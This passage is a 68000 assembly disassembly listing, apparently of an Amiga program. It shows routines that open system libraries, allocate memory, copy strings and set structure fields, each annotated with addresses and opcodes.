MOVEQ #1,D7 ;0E10: 7E01
LAB_009E:
MOVE.L D7,D0 ;0E12: 2007
MOVEM.L (A7)+,D7/A4 ;0E14: 4CDF1080
RTS ;0E18: 4E75
LAB_009F:
MOVEM.L D7/A4,-(A7) ;0E1A: 48E70108
MOVEA.L 12(A7),A0 ;0E1E: 206F000C
LEA SECSTRT_1,A4 ;0E22: 49F900001618
MOVEQ #0,D7 ;0E28: 7E00
CMPI.L #$00000001,(A0) ;0E2A: 0C9000000001
BLS.S LAB_00A0 ;0E30: 630A
BTST #4,810(A0) ;0E32: 08280004032A
BEQ.S LAB_00A0 ;0E38: 6702
MOVEQ #1,D7 ;0E3A: 7E01
LAB_00A0:
TST.L D7 ;0E3C: 4A87
BNE.S LAB_00A1 ;0E3E: 660A
BTST #7,23(A0) ;0E40: 082800070017
BEQ.S LAB_00A1 ;0E46: 6702
MOVEQ #1,D7 ;0E48: 7E01
LAB_00A1:
MOVE.L D7,D0 ;0E4A: 2007
MOVEM.L (A7)+,D7/A4 ;0E4C: 4CDF1080
RTS ;0E50: 4E75
LAB_00A2:
MOVEM.L A4-A5,-(A7) ;0E52: 48E7000C
MOVEA.L 12(A7),A5 ;0E56: 2A6F000C
LEA SECSTRT_1,A4 ;0E5A: 49F900001618
MOVE.L A5,-(A7) ;0E60: 2F0D
BSR LAB_009C ;0E62: 6100FF7E
ADDQ #4,A7 ;0E66: 584F
TST.L D0 ;0E68: 4A80
BEQ.S LAB_00A3 ;0E6A: 670A
MOVE.L 20(A5),D0 ;0E6C: 202D0014
ORI #$0800,D0 ;0E70: 00400800
BRA.S LAB_00A5 ;0E74: 6018
LAB_00A3:
MOVE.L A5,-(A7) ;0E76: 2F0D
BSR.S LAB_009F ;0E78: 61A0
ADDQ #4,A7 ;0E7A: 584F
TST.L D0 ;0E7C: 4A80
BEQ.S LAB_00A4 ;0E7E: 670A
MOVE.L 20(A5),D0 ;0E80: 202D0014
ORI #$0080,D0 ;0E84: 00400080
BRA.S LAB_00A5 ;0E88: 6004
LAB_00A4:
MOVE.L 20(A5),D0 ;0E8A: 202D0014
LAB_00A5:
MOVEM.L (A7)+,A4-A5 ;0E8E: 4CDF3000
RTS ;0E92: 4E75
LAB_00A6:
SUBQ #8,A7 ;0E94: 514F
MOVEM.L A2-A6,-(A7) ;0E96: 48E7003E
MOVEA.L 40(A7),A0 ;0E9A: 206F0028
MOVEA.L 36(A7),A3 ;0E9E: 266F0024
MOVEA.L 32(A7),A5 ;0EA2: 2A6F0020
LEA SECSTRT_1,A4 ;0EA6: 49F900001618
CLR.L (A5) ;0EAC: 4295
CLR.L (A3) ;0EAE: 4293
CLR.L (A0) ;0EB0: 4290
MOVE.L A0,-(A7) ;0EB2: 2F08
LEA LAB_0046(PC),A1 ;0EB4: 43FAF610
MOVEA.L 164(A4),A6 ;0EB8: 2C6C00A4
LEA 28(A7),A2 ;0EBC: 45EF001C
JSR -108(A6) ;0EC0: 4EAEFF94
MOVEA.L (A7)+,A2 ;0EC4: 245F
TST.L D0 ;0EC6: 4A80
BEQ LAB_00AA ;0EC8: 67000090
MOVEM.L A2-A3,-(A7) ;0ECC: 48E70030
MOVEA.L 32(A7),A1 ;0ED0: 226F0020
LEA LAB_0047(PC),A2 ;0ED4: 45FAF616
LEA 28(A7),A3 ;0ED8: 47EF001C
JSR -174(A6) ;0EDC: 4EAEFF52
MOVEM.L (A7)+,A2-A3 ;0EE0: 4CDF0C00
TST.L D0 ;0EE4: 4A80
BEQ.S LAB_00A7 ;0EE6: 671A
MOVE.L 20(A7),D0 ;0EE8: 202F0014
BEQ.S LAB_00A7 ;0EEC: 6714
PEA LAB_0048(PC) ;0EEE: 487AF608
MOVE.L D0,-(A7) ;0EF2: 2F00
BSR LAB_00E6 ;0EF4: 6100066A
ADDQ #8,A7 ;0EF8: 504F
TST.L D0 ;0EFA: 4A80
BNE.S LAB_00A7 ;0EFC: 6604
MOVEQ #1,D0 ;0EFE: 7001
MOVE.L D0,(A5) ;0F00: 2A80
LAB_00A7:
MOVEM.L A2-A3,-(A7) ;0F02: 48E70030
MOVEA.L 32(A7),A1 ;0F06: 226F0020
MOVEA.L 164(A4),A6 ;0F0A: 2C6C00A4
LEA LAB_0049(PC),A2 ;0F0E: 45FAF5EC
LEA 28(A7),A3 ;0F12: 47EF001C
JSR -174(A6) ;0F16: 4EAEFF52
MOVEM.L (A7)+,A2-A3 ;0F1A: 4CDF0C00
TST.L D0 ;0F1E: 4A80
BEQ.S LAB_00A8 ;0F20: 6704
MOVEQ #1,D0 ;0F22: 7001
MOVE.L D0,(A3) ;0F24: 2680
LAB_00A8:
MOVE.L A2,-(A7) ;0F26: 2F0A
MOVEA.L 28(A7),A1 ;0F28: 226F001C
MOVEA.L 164(A4),A6 ;0F2C: 2C6C00A4
LEA LAB_004A(PC),A2 ;0F30: 45FAF5D8
LEA 24(A7),A3 ;0F34: 47EF0018
JSR -174(A6) ;0F38: 4EAEFF52
MOVEM.L (A7)+,A2 ;0F3C: 4CDF0400
TST.L D0 ;0F40: 4A80
BEQ.S LAB_00A9 ;0F42: 670A
TST.L 20(A7) ;0F44: 4AAF0014
BEQ.S LAB_00A9 ;0F48: 6704
MOVEQ #1,D0 ;0F4A: 7001
MOVE.L D0,(A2) ;0F4C: 2480
LAB_00A9:
MOVEA.L 24(A7),A1 ;0F4E: 226F0018
MOVEA.L 164(A4),A6 ;0F52: 2C6C00A4
JSR -120(A6) ;0F56: 4EAEFF88
LAB_00AA:
MOVEM.L (A7)+,A2-A6 ;0F5A: 4CDF7C00
ADDQ #8,A7 ;0F5E: 504F
RTS ;0F60: 4E75
LAB_00AB:
SUBA #$0108,A7 ;0F62: 9EFC0108
MOVEM.L D7/A2-A6,-(A7) ;0F66: 48E7013E
LEA SECSTRT_1,A4 ;0F6A: 49F900001618
SUBA.L A5,A5 ;0F70: 9BCD
LEA LAB_004B(PC),A1 ;0F72: 43FAF5A4
MOVEQ #11,D0 ;0F76: 700B
MOVEA.L (ABSEXECBASE).W,A6 ;0F78: 2C780004
JSR -552(A6) ;0F7C: 4EAEFDD8
MOVEA.L D0,A3 ;0F80: 2640
TST.L D0 ;0F82: 4A80
BEQ LAB_00B3 ;0F84: 670000AE
LEA LAB_0046(PC),A1 ;0F88: 43FAF53C
LEA 284(A7),A2 ;0F8C: 45EF011C
MOVEA.L 164(A4),A6 ;0F90: 2C6C00A4
JSR -108(A6) ;0F94: 4EAEFF94
TST.L D0 ;0F98: 4A80
BEQ LAB_00B2 ;0F9A: 6700008E
MOVE.L A3,-(A7) ;0F9E: 2F0B
MOVEA.L 288(A7),A1 ;0FA0: 226F0120
LEA LAB_004D(PC),A2 ;0FA4: 45FAF584
LEA 284(A7),A3 ;0FA8: 47EF011C
JSR -174(A6) ;0FAC: 4EAEFF52
MOVEA.L (A7)+,A3 ;0FB0: 265F
TST.L D0 ;0FB2: 4A80
BEQ.S LAB_00B1 ;0FB4: 6768
MOVE.L 280(A7),D0 ;0FB6: 202F0118
BEQ.S LAB_00B1 ;0FBA: 6762
MOVEA.L D0,A0 ;0FBC: 2040
LEA 24(A7),A1 ;0FBE: 43EF0018
LAB_00AC:
MOVE.B (A0)+,(A1)+ ;0FC2: 12D8
BNE.S LAB_00AC ;0FC4: 66FC
LEA 24(A7),A0 ;0FC6: 41EF0018
MOVEA.L A0,A1 ;0FCA: 2248
LAB_00AD:
TST.B (A1)+ ;0FCC: 4A19
BNE.S LAB_00AD ;0FCE: 66FC
SUBQ.L #1,A1 ;0FD0: 5389
SUBA.L A0,A1 ;0FD2: 93C8
MOVE.L A1,D7 ;0FD4: 2E09
MOVE.L A1,D0 ;0FD6: 2009
MOVEQ #12,D1 ;0FD8: 720C
CMP.L D1,D0 ;0FDA: B081
BCC.S LAB_00AE ;0FDC: 6408
PEA LAB_004E(PC) ;0FDE: 487AF558
MOVE.L A0,-(A7) ;0FE2: 2F08
BRA.S LAB_00AF ;0FE4: 6020
LAB_00AE:
MOVE.L D7,D0 ;0FE6: 2007
MOVEQ #11,D1 ;0FE8: 720B
SUB.L D1,D0 ;0FEA: 9081
ADDA.L D0,A0 ;0FEC: D1C0
PEA LAB_004E(PC) ;0FEE: 487AF548
MOVE.L A0,-(A7) ;0FF2: 2F08
BSR LAB_00E6 ;0FF4: 6100056A
ADDQ #8,A7 ;0FF8: 504F
TST.L D0 ;0FFA: 4A80
BEQ.S LAB_00B0 ;0FFC: 670E
PEA LAB_004E(PC) ;0FFE: 487AF538
PEA 28(A7) ;1002: 486F001C
LAB_00AF:
BSR LAB_00EB ;1006: 610005D4
ADDQ #8,A7 ;100A: 504F
LAB_00B0:
LEA 114(A3),A0 ;100C: 41EB0072
LEA 24(A7),A1 ;1010: 43EF0018
MOVEA.L (ABSEXECBASE).W,A6 ;1014: 2C780004
JSR -276(A6) ;1018: 4EAEFEEC
MOVEA.L D0,A5 ;101C: 2A40
LAB_00B1:
MOVEA.L 284(A7),A1 ;101E: 226F011C
MOVEA.L 164(A4),A6 ;1022: 2C6C00A4
JSR -120(A6) ;1026: 4EAEFF88
LAB_00B2:
MOVEA.L A3,A1 ;102A: 224B
MOVEA.L (ABSEXECBASE).W,A6 ;102C: 2C780004
JSR -414(A6) ;1030: 4EAEFE62
LAB_00B3:
MOVE.L A5,D0 ;1034: 200D
MOVEM.L (A7)+,D7/A2-A6 ;1036: 4CDF7C80
ADDA #$0108,A7 ;103A: DEFC0108
RTS ;103E: 4E75
LAB_00B4:
MOVEM.L D2-D3/D7/A2-A6,-(A7) ;1040: 48E7313E
MOVEA.L 44(A7),A5 ;1044: 2A6F002C
LEA SECSTRT_1,A4 ;1048: 49F900001618
CLR.L (A5) ;104E: 4295
LEA LAB_004B(PC),A1 ;1050: 43FAF4C6
MOVEQ #11,D0 ;1054: 700B
MOVEA.L (ABSEXECBASE).W,A6 ;1056: 2C780004
JSR -552(A6) ;105A: 4EAEFDD8
MOVEA.L D0,A3 ;105E: 2640
TST.L D0 ;1060: 4A80
BEQ.S LAB_00B6+2 ;1062: 673C
SUBA.L A1,A1 ;1064: 93C9
MOVEA.L A3,A6 ;1066: 2C4B
JSR -30(A6) ;1068: 4EAEFFE2
MOVEA.L D0,A2 ;106C: 2440
TST.L D0 ;106E: 4A80
BEQ.S LAB_00B5+2 ;1070: 6720
MOVEM.L A2-A3,-(A7) ;1072: 48E70030
MOVEA.L A2,A1 ;1076: 224A
MOVE.L 56(A7),D2 ;1078: 242F0038
EXG A6,A3 ;107C: CD4B
MOVEA.L 48(A7),A2 ;107E: 246F0030
MOVEA.L A5,A3 ;1082: 264D
MOVEQ #0,D3 ;1084: 7600
JSR -228(A6) ;1086: 4EAEFF1C
MOVEM.L (A7)+,A2-A3 ;108A: 4CDF0C00
MOVE.L D0,D7 ;108E: 2E00
LAB_00B5:
CMPI #$7E08,D0 ;1090: 0C407E08
MOVEA.L A3,A1 ;1094: 224B
MOVEA.L (ABSEXECBASE).W,A6 ;1096: 2C780004
JSR -414(A6) ;109A: 4EAEFE62
LAB_00B6:
CMPI #$7E11,D0 ;109E: 0C407E11
MOVEA.L 36(A7),A0 ;10A2: 206F0024
MOVE.L A2,28(A0) ;10A6: 214A001C
MOVE.L D7,D0 ;10AA: 2007
MOVEM.L (A7)+,D2-D3/D7/A2-A6 ;10AC: 4CDF7C8C
RTS ;10B0: 4E75
LAB_00B7:
MOVEM.L A3-A6,-(A7) ;10B2: 48E7001E
MOVEA.L 20(A7),A5 ;10B6: 2A6F0014
LEA SECSTRT_1,A4 ;10BA: 49F900001618
LEA LAB_004B(PC),A1 ;10C0: 43FAF456
MOVEQ #11,D0 ;10C4: 700B
MOVEA.L (ABSEXECBASE).W,A6 ;10C6: 2C780004
JSR -552(A6) ;10CA: 4EAEFDD8
MOVEA.L D0,A3 ;10CE: 2640
TST.L D0 ;10D0: 4A80
BEQ.S LAB_00B9 ;10D2: 6720
MOVE.L A5,D0 ;10D4: 200D
BEQ.S LAB_00B8 ;10D6: 6712
MOVE.L 28(A5),D0 ;10D8: 202D001C
BEQ.S LAB_00B8 ;10DC: 670C
MOVEA.L D0,A1 ;10DE: 2240
MOVEA.L A3,A6 ;10E0: 2C4B
JSR -36(A6) ;10E2: 4EAEFFDC
CLR.L 28(A5) ;10E6: 42AD001C
LAB_00B8:
MOVEA.L A3,A1 ;10EA: 224B
MOVEA.L (ABSEXECBASE).W,A6 ;10EC: 2C780004
JSR -414(A6) ;10F0: 4EAEFE62
LAB_00B9:
MOVEM.L (A7)+,A3-A6 ;10F4: 4CDF7800
RTS ;10F8: 4E75
LAB_00BA:
SUBA #$0108,A7 ;10FA: 9EFC0108
MOVEM.L D7/A2-A6,-(A7) ;10FE: 48E7013E
LEA SECSTRT_1,A4 ;1102: 49F900001618
SUBA.L A5,A5 ;1108: 9BCD
LEA LAB_004B(PC),A1 ;110A: 43FAF40C
MOVEQ #11,D0 ;110E: 700B
MOVEA.L (ABSEXECBASE).W,A6 ;1110: 2C780004
JSR -552(A6) ;1114: 4EAEFDD8
MOVEA.L D0,A3 ;1118: 2640
TST.L D0 ;111A: 4A80
BEQ LAB_00C2 ;111C: 670000AE
LEA LAB_0046(PC),A1 ;1120: 43FAF3A4
LEA 284(A7),A2 ;1124: 45EF011C
MOVEA.L 164(A4),A6 ;1128: 2C6C00A4
JSR -108(A6) ;112C: 4EAEFF94
TST.L D0 ;1130: 4A80
BEQ LAB_00C1 ;1132: 6700008E
MOVE.L A3,-(A7) ;1136: 2F0B
MOVEA.L 288(A7),A1 ;1138: 226F0120
LEA LAB_004A(PC),A2 ;113C: 45FAF3CC
LEA 284(A7),A3 ;1140: 47EF011C
JSR -174(A6) ;1144: 4EAEFF52
MOVEA.L (A7)+,A3 ;1148: 265F
TST.L D0 ;114A: 4A80
BEQ.S LAB_00C0 ;114C: 6768
MOVE.L 280(A7),D0 ;114E: 202F0118
BEQ.S LAB_00C0 ;1152: 6762
MOVEA.L D0,A0 ;1154: 2040
LEA 24(A7),A1 ;1156: 43EF0018
LAB_00BB:
MOVE.B (A0)+,(A1)+ ;115A: 12D8
BNE.S LAB_00BB ;115C: 66FC
LEA 24(A7),A0 ;115E: 41EF0018
MOVEA.L A0,A1 ;1162: 2248
LAB_00BC:
TST.B (A1)+ ;1164: 4A19
BNE.S LAB_00BC ;1166: 66FC
SUBQ.L #1,A1 ;1168: 5389
SUBA.L A0,A1 ;116A: 93C8
MOVE.L A1,D7 ;116C: 2E09
MOVE.L A1,D0 ;116E: 2009
MOVEQ #12,D1 ;1170: 720C
CMP.L D1,D0 ;1172: B081
BCC.S LAB_00BD ;1174: 6408
PEA LAB_004E(PC) ;1176: 487AF3C0
MOVE.L A0,-(A7) ;117A: 2F08
BRA.S LAB_00BE ;117C: 6020
LAB_00BD:
MOVE.L D7,D0 ;117E: 2007
MOVEQ #11,D1 ;1180: 720B
SUB.L D1,D0 ;1182: 9081
ADDA.L D0,A0 ;1184: D1C0
PEA LAB_004E(PC) ;1186: 487AF3B0
MOVE.L A0,-(A7) ;118A: 2F08
BSR LAB_00E6 ;118C: 610003D2
ADDQ #8,A7 ;1190: 504F
TST.L D0 ;1192: 4A80
BEQ.S LAB_00BF ;1194: 670E
PEA LAB_004E(PC) ;1196: 487AF3A0
PEA 28(A7) ;119A: 486F001C
LAB_00BE:
BSR LAB_00EB ;119E: 6100043C
ADDQ #8,A7 ;11A2: 504F
LAB_00BF:
LEA 114(A3),A0 ;11A4: 41EB0072
LEA 24(A7),A1 ;11A8: 43EF0018
MOVEA.L (ABSEXECBASE).W,A6 ;11AC: 2C780004
JSR -276(A6) ;11B0: 4EAEFEEC
MOVEA.L D0,A5 ;11B4: 2A40
LAB_00C0:
MOVEA.L 284(A7),A1 ;11B6: 226F011C
MOVEA.L 164(A4),A6 ;11BA: 2C6C00A4
JSR -120(A6) ;11BE: 4EAEFF88
LAB_00C1:
MOVEA.L A3,A1 ;11C2: 224B
MOVEA.L (ABSEXECBASE).W,A6 ;11C4: 2C780004
JSR -414(A6) ;11C8: 4EAEFE62
LAB_00C2:
MOVE.L A5,D0 ;11CC: 200D
MOVEM.L (A7)+,D7/A2-A6 ;11CE: 4CDF7C80
ADDA #$0108,A7 ;11D2: DEFC0108
RTS ;11D6: 4E75
LAB_00C3:
MOVEM.L D2-D3/D7/A2-A6,-(A7) ;11D8: 48E7313E
MOVEA.L 44(A7),A5 ;11DC: 2A6F002C
LEA SECSTRT_1,A4 ;11E0: 49F900001618
CLR.L (A5) ;11E6: 4295
LEA LAB_004B(PC),A1 ;11E8: 43FAF32E
MOVEQ #11,D0 ;11EC: 700B
MOVEA.L (ABSEXECBASE).W,A6 ;11EE: 2C780004
JSR -552(A6) ;11F2: 4EAEFDD8
MOVEA.L D0,A3 ;11F6: 2640
TST.L D0 ;11F8: 4A80
BEQ.S LAB_00C5+2 ;11FA: 673C
SUBA.L A1,A1 ;11FC: 93C9
MOVEA.L A3,A6 ;11FE: 2C4B
JSR -30(A6) ;1200: 4EAEFFE2
MOVEA.L D0,A2 ;1204: 2440
TST.L D0 ;1206: 4A80
BEQ.S LAB_00C4+2 ;1208: 6720
MOVEM.L A2-A3,-(A7) ;120A: 48E70030
MOVEA.L A2,A1 ;120E: 224A
MOVE.L 56(A7),D2 ;1210: 242F0038
EXG A6,A3 ;1214: CD4B
MOVEA.L 48(A7),A2 ;1216: 246F0030
MOVEA.L A5,A3 ;121A: 264D
MOVEQ #0,D3 ;121C: 7600
JSR -228(A6) ;121E: 4EAEFF1C
MOVEM.L (A7)+,A2-A3 ;1222: 4CDF0C00
MOVE.L D0,D7 ;1226: 2E00
LAB_00C4:
CMPI #$7E08,D0 ;1228: 0C407E08
MOVEA.L A3,A1 ;122C: 224B
MOVEA.L (ABSEXECBASE).W,A6 ;122E: 2C780004
JSR -414(A6) ;1232: 4EAEFE62
LAB_00C5:
CMPI #$7E11,D0 ;1236: 0C407E11
MOVEA.L 36(A7),A0 ;123A: 206F0024
MOVE.L A2,32(A0) ;123E: 214A0020
MOVE.L D7,D0 ;1242: 2007
MOVEM.L (A7)+,D2-D3/D7/A2-A6 ;1244: 4CDF7C8C
RTS ;1248: 4E75
LAB_00C6:
MOVEM.L A3-A6,-(A7) ;124A: 48E7001E
MOVEA.L 20(A7),A5 ;124E: 2A6F0014
LEA SECSTRT_1,A4 ;1252: 49F900001618
LEA LAB_004B(PC),A1 ;1258: 43FAF2BE
MOVEQ #11,D0 ;125C: 700B
MOVEA.L (ABSEXECBASE).W,A6 ;125E: 2C780004
JSR -552(A6) ;1262: 4EAEFDD8
MOVEA.L D0,A3 ;1266: 2640
TST.L D0 ;1268: 4A80
BEQ.S LAB_00C8 ;126A: 6720
MOVE.L A5,D0 ;126C: 200D
BEQ.S LAB_00C7 ;126E: 6712
MOVE.L 32(A5),D0 ;1270: 202D0020
BEQ.S LAB_00C7 ;1274: 670C
MOVEA.L D0,A1 ;1276: 2240
MOVEA.L A3,A6 ;1278: 2C4B
JSR -36(A6) ;127A: 4EAEFFDC
CLR.L 32(A5) ;127E: 42AD0020
LAB_00C7:
MOVEA.L A3,A1 ;1282: 224B
MOVEA.L (ABSEXECBASE).W,A6 ;1284: 2C780004
JSR -414(A6) ;1288: 4EAEFE62
LAB_00C8:
MOVEM.L (A7)+,A3-A6 ;128C: 4CDF7800
RTS ;1290: 4E75
NOP ;1292: 4E71
LAB_00C9:
SUBQ #4,A7 ;1294: 594F
MOVE.L A4,-(A7) ;1296: 2F0C
MOVE.L A2,4(A7) ;1298: 2F4A0004
LEA SECSTRT_1,A4 ;129C: 49F900001618
MOVE.L A1,D0 ;12A2: 2009
BNE.S LAB_00CA ;12A4: 6604
MOVEQ #8,D0 ;12A6: 7008
BRA.S LAB_00CB ;12A8: 6006
LAB_00CA:
MOVE.L D1,8(A1) ;12AA: 23410008
MOVEQ #0,D0 ;12AE: 7000
LAB_00CB:
MOVEA.L (A7)+,A4 ;12B0: 285F
ADDQ #4,A7 ;12B2: 584F
RTS ;12B4: 4E75
LAB_00CC:
SUBQ #4,A7 ;12B6: 594F
MOVE.L A4,-(A7) ;12B8: 2F0C
MOVE.L A2,4(A7) ;12BA: 2F4A0004
LEA SECSTRT_1,A4 ;12BE: 49F900001618
MOVE.L A1,D0 ;12C4: 2009
BNE.S LAB_00CD ;12C6: 6604
MOVEQ #8,D0 ;12C8: 7008
BRA.S LAB_00CE ;12CA: 6006
LAB_00CD:
MOVE.L D1,12(A1) ;12CC: 2341000C
MOVEQ #0,D0 ;12D0: 7000
LAB_00CE:
MOVEA.L (A7)+,A4 ;12D2: 285F
ADDQ #4,A7 ;12D4: 584F
RTS ;12D6: 4E75
LAB_00CF:
SUBQ #4,A7 ;12D8: 594F
MOVE.L A4,-(A7) ;12DA: 2F0C
MOVE.L A2,4(A7) ;12DC: 2F4A0004
LEA SECSTRT_1,A4 ;12E0: 49F900001618
MOVE.L A1,D0 ;12E6: 2009
BNE.S LAB_00D0 ;12E8: 6604
MOVEQ #8,D0 ;12EA: 7008
BRA.S LAB_00D1 ;12EC: 6006
LAB_00D0:
MOVE.L D1,16(A1) ;12EE: 23410010
MOVEQ #0,D0 ;12F2: 7000
LAB_00D1:
MOVEA.L (A7)+,A4 ;12F4: 285F
ADDQ #4,A7 ;12F6: 584F
RTS ;12F8: 4E75
LAB_00D2:
SUBQ #4,A7 ;12FA: 594F
MOVE.L A4,-(A7) ;12FC: 2F0C
MOVE.L A2,4(A7) ;12FE: 2F4A0004
LEA SECSTRT_1,A4 ;1302: 49F900001618
MOVE.L A1,D0 ;1308: 2009
BNE.S LAB_00D3+2 ;130A: 6604
MOVEQ #0,D0 ;130C: 7000
LAB_00D3:
CMPI #$2011,D0 ;130E: 0C402011
MOVEA.L (A7)+,A4 ;1312: 285F
ADDQ #4,A7 ;1314: 584F
RTS ;1316: 4E75
LAB_00D4:
SUBQ #4,A7 ;1318: 594F
MOVE.L A4,-(A7) ;131A: 2F0C
MOVE.L A2,4(A7) ;131C: 2F4A0004
LEA SECSTRT_1,A4 ;1320: 49F900001618
MOVE.L A1,D0 ;1326: 2009
BNE.S LAB_00D5 ;1328: 6604
MOVEQ #0,D0 ;132A: 7000
BRA.S LAB_00D6 ;132C: 6004
LAB_00D5:
MOVE.L 4(A1),D0 ;132E: 20290004
LAB_00D6:
MOVEA.L (A7)+,A4 ;1332: 285F
ADDQ #4,A7 ;1334: 584F
RTS ;1336: 4E75
LAB_00D7:
SUBQ #8,A7 ;1338: 514F
MOVEM.L D6-D7/A3-A6,-(A7) ;133A: 48E7031E
MOVEA.L A1,A5 ;133E: 2A49
MOVEM.L A3-A4,24(A7) ;1340: 48EF18000018
LEA SECSTRT_1,A4 ;1346: 49F900001618
MOVEQ #-1,D7 ;134C: 7EFF
MOVEQ #0,D6 ;134E: 7C00
MOVE.L A5,-(A7) ;1350: 2F0D
BSR LAB_00DD ;1352: 6100008A
ADDQ #4,A7 ;1356: 584F
CLR.L (A2) ;1358: 4292
MOVEQ #18,D0 ;135A: 7012
MOVE.L #$00010001,D1 ;135C: 223C00010001
MOVEA.L (ABSEXECBASE).W,A6 ;1362: 2C780004
JSR -684(A6) ;1366: 4EAEFD54
MOVEA.L D0,A3 ;136A: 2640
TST.L D0 ;136C: 4A80
BNE.S LAB_00D8 ;136E: 6604
MOVEQ #3,D0 ;1370: 7003
BRA.S LAB_00DC ;1372: 6062
LAB_00D8:
MOVE.L A3,(A2) ;1374: 248B
MOVE.L A3,36(A5) ;1376: 2B4B0024
MOVEA.L (A2),A0 ;137A: 2052
CLR.L 14(A0) ;137C: 42A8000E
LEA 4(A3),A0 ;1380: 41EB0004
LEA (A3),A6 ;1384: 4DD3
MOVE.L A0,(A6)+ ;1386: 2CC8
CLR.L (A6)+ ;1388: 429E
MOVE.L A3,(A6)+ ;138A: 2CCB
CLR.B (A6)+ ;138C: 421E
LAB_00D9:
MOVE.L D7,D0 ;138E: 2007
MOVEA.L 156(A4),A6 ;1390: 2C6C009C
JSR -732(A6) ;1394: 4EAEFD24
MOVE.L D0,D7 ;1398: 2E00
ADDQ.L #1,D0 ;139A: 5280
BEQ.S LAB_00DA ;139C: 6726
PEA (-1).W ;139E: 4878FFFF
MOVE.L D7,-(A7) ;13A2: 2F07
BSR LAB_00E2 ;13A4: 61000088
ADDQ #8,A7 ;13A8: 504F
TST.L D0 ;13AA: 4A80
BEQ.S LAB_00D9 ;13AC: 67E0
MOVEA.L D0,A1 ;13AE: 2240
MOVEA.L A3,A0 ;13B0: 204B
MOVEA.L (ABSEXECBASE).W,A6 ;13B2: 2C780004
JSR -246(A6) ;13B6: 4EAEFF0A
MOVEA.L (A2),A0 ;13BA: 2052
ADDQ.L #1,14(A0) ;13BC: 52A8000E
MOVEQ #1,D6 ;13C0: 7C01
BRA.S LAB_00D9 ;13C2: 60CA
LAB_00DA:
TST.L D6 ;13C4: 4A86
BNE.S LAB_00DB+2 ;13C6: 660C
MOVE.L A5,-(A7) ;13C8: 2F0D
BSR LAB_00DD ;13CA: 61000012
ADDQ #4,A7 ;13CE: 584F
MOVEQ #3,D0 ;13D0: 7003
LAB_00DB:
CMPI #$7000,D0 ;13D2: 0C407000
LAB_00DC:
MOVEM.L (A7)+,D6-D7/A3-A6 ;13D6: 4CDF78C0
ADDQ #8,A7 ;13DA: 504F
RTS ;13DC: 4E75
LAB_00DD:
MOVEM.L A2-A6,-(A7) ;13DE: 48E7003E
LEA SECSTRT_1,A4 ;13E2: 49F900001618
MOVEA.L 24(A7),A0 ;13E8: 206F0018
MOVEA.L 36(A0),A5 ;13EC: 2A680024
MOVE.L A5,D0 ;13F0: 200D
BEQ.S LAB_00E1 ;13F2: 6734
MOVEA.L (A5),A3 ;13F4: 2655
LEA 4(A5),A2 ;13F6: 45ED0004
BRA.S LAB_00DF ;13FA: 6012
LAB_00DE:
MOVEA.L A3,A1 ;13FC: 224B
MOVEA.L (ABSEXECBASE).W,A6 ;13FE: 2C780004
JSR -252(A6) ;1402: 4EAEFF04
MOVEA.L A3,A1 ;1406: 224B
JSR -690(A6) ;1408: 4EAEFD4E
MOVEA.L (A5),A3 ;140C: 2655
LAB_00DF:
MOVE.L A3,D0 ;140E: 200B
BEQ.S LAB_00E0 ;1410: 6704
CMPA.L A2,A3 ;1412: B7CA
BNE.S LAB_00DE ;1414: 66E6
LAB_00E0:
MOVEA.L A5,A1 ;1416: 224D
MOVEA.L (ABSEXECBASE).W,A6 ;1418: 2C780004
JSR -690(A6) ;141C: 4EAEFD4E
MOVEA.L 24(A7),A0 ;1420: 206F0018
CLR.L 36(A0) ;1424: 42A80024
LAB_00E1:
MOVEM.L (A7)+,A2-A6 ;1428: 4CDF7C00
RTS ;142C: 4E75
LAB_00E2:
SUBQ #4,A7 ;142E: 594F
MOVEM.L D2/D7/A2-A6,-(A7) ;1430: 48E7213E
MOVE.L 36(A7),D7 ;1434: 2E2F0024
LEA SECSTRT_1,A4 ;1438: 49F900001618
CLR.L 28(A7) ;143E: 42AF001C
MOVE.L D7,D0 ;1442: 2007
MOVEA.L 156(A4),A6 ;1444: 2C6C009C
JSR -726(A6) ;1448: 4EAEFD2A
MOVEA.L D0,A5 ;144C: 2A40
TST.L D0 ;144E: 4A80
BEQ LAB_00E5 ;1450: 67000102
MOVEQ #88,D0 ;1454: 7058
MOVE.L #$00010001,D1 ;1456: 223C00010001
MOVEA.L (ABSEXECBASE).W,A6 ;145C: 2C780004
JSR -684(A6) ;1460: 4EAEFD54
MOVEA.L D0,A3 ;1464: 2640
MOVEQ #56,D0 ;1466: 7038
MOVE.L #$00010001,D1 ;1468: 223C00010001
JSR -684(A6) ;146E: 4EAEFD54
MOVEA.L D0,A2 ;1472: 2440
MOVE.L A3,D0 ;1474: 200B
BEQ LAB_00E3 ;1476: 670000C0
MOVE.L A2,D0 ;147A: 200A
BEQ LAB_00E3 ;147C: 670000BA
MOVEA.L A5,A0 ;1480: 204D
MOVEA.L A3,A1 ;1482: 224B
MOVEA.L 156(A4),A6 ;1484: 2C6C009C
MOVEQ #88,D0 ;1488: 7058
MOVE.L #$80001000,D1 ;148A: 223C80001000
MOVEQ #0,D2 ;1490: 7400
JSR -756(A6) ;1492: 4EAEFD0C
MOVEA.L A5,A0 ;1496: 204D
MOVEA.L A2,A1 ;1498: 224A
MOVEQ #56,D0 ;149A: 7038
MOVE.L #$80003000,D1 ;149C: 223C80003000
JSR -756(A6) ;14A2: 4EAEFD0C
TST.L D0 ;14A6: 4A80
BEQ LAB_00E3 ;14A8: 6700008E
MOVE.L 40(A7),D0 ;14AC: 202F0028
AND.L D7,D0 ;14B0: C087
BEQ LAB_00E3 ;14B2: 67000084
MOVE.L D7,D0 ;14B6: 2007
JSR -798(A6) ;14B8: 4EAEFCE2
TST.L D0 ;14BC: 4A80
BNE.S LAB_00E3 ;14BE: 6678
MOVEQ #69,D0 ;14C0: 7045
ADD.L D0,D0 ;14C2: D080
MOVE.L #$00010001,D1 ;14C4: 223C00010001
MOVEA.L (ABSEXECBASE).W,A6 ;14CA: 2C780004
JSR -684(A6) ;14CE: 4EAEFD54
MOVE.L D0,28(A7) ;14D2: 2F40001C
BEQ.S LAB_00E3 ;14D6: 6760
MOVEA.L D0,A0 ;14D8: 2040
ADDA #$0012,A0 ;14DA: D0FC0012
MOVEA.L D0,A1 ;14DE: 2240
MOVE.L A0,10(A1) ;14E0: 2348000A
PEA (79).W ;14E4: 4878004F
PEA 16(A2) ;14E8: 486A0010
MOVE.L A0,-(A7) ;14EC: 2F08
BSR LAB_00EE ;14EE: 61000104
LEA 12(A7),A7 ;14F2: 4FEF000C
MOVEA.L 28(A7),A0 ;14F6: 206F001C
LEA 97(A0),A6 ;14FA: 4DE80061
CLR.B (A6)+ ;14FE: 421E
